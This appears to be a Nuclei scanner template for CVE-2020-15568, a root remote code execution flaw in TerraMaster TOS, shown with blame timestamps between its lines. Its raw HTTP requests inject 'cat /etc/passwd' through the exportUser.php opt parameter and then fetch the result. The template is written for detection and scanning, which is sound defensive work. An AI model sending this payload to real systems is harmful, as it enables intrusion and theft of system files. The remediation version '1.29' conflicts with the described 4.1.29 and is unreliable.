2021-02-10 10:51:42 +00:00
id : CVE-2020-15568
info :
2022-04-29 19:58:07 +00:00
name : TerraMaster TOS <.1.29 - Remote Code Execution
2021-02-10 10:51:42 +00:00
author : pikpikcu
severity : critical
2022-05-17 09:18:12 +00:00
description : TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade TerraMaster TOS to version 1.29 or higher to mitigate this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
2022-04-29 19:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-15568
2022-05-17 09:18:12 +00:00
- https://help.terra-master.com/TOS/view/
2024-01-29 17:11:14 +00:00
- https://github.com/divinepwner/TerraMaster-TOS-CVE-2020-15568
- https://github.com/n0bugz/CVE-2020-15568
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-15568
cwe-id : CWE-913
2024-03-23 09:28:19 +00:00
epss-score : 0.96623
epss-percentile : 0.99607
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : terra-master
product : tos
2024-01-14 09:21:50 +00:00
tags : cve2020,cve,terramaster,rce,terra-master
2023-07-20 07:43:09 +00:00
variables :
filename : "{{to_lower(rand_text_alpha(4))}}"
2023-04-27 04:28:59 +00:00
http :
2021-02-10 10:51:42 +00:00
- raw :
- |
2023-07-20 07:43:09 +00:00
GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3E{{filename}}.txt HTTP/1.1
2021-02-10 10:51:42 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
- |
2023-07-20 07:43:09 +00:00
GET /include/{{filename}}.txt HTTP/1.1
2021-02-10 10:51:42 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
matchers-condition : and
matchers :
- type : regex
2023-07-11 19:49:27 +00:00
part : body
2021-02-10 10:51:42 +00:00
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
2021-02-10 10:51:42 +00:00
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4a0a00473045022100e784ad89af5c1b2c38362287c06a1f7f2ca94adb7a0d811daa81a252f34d401a02200ff9efa5d31f67a479a8e9292f31942deaf5c74cd69d13305223e94c25c60ac8:922c64590222798bb761d5b6d8e72950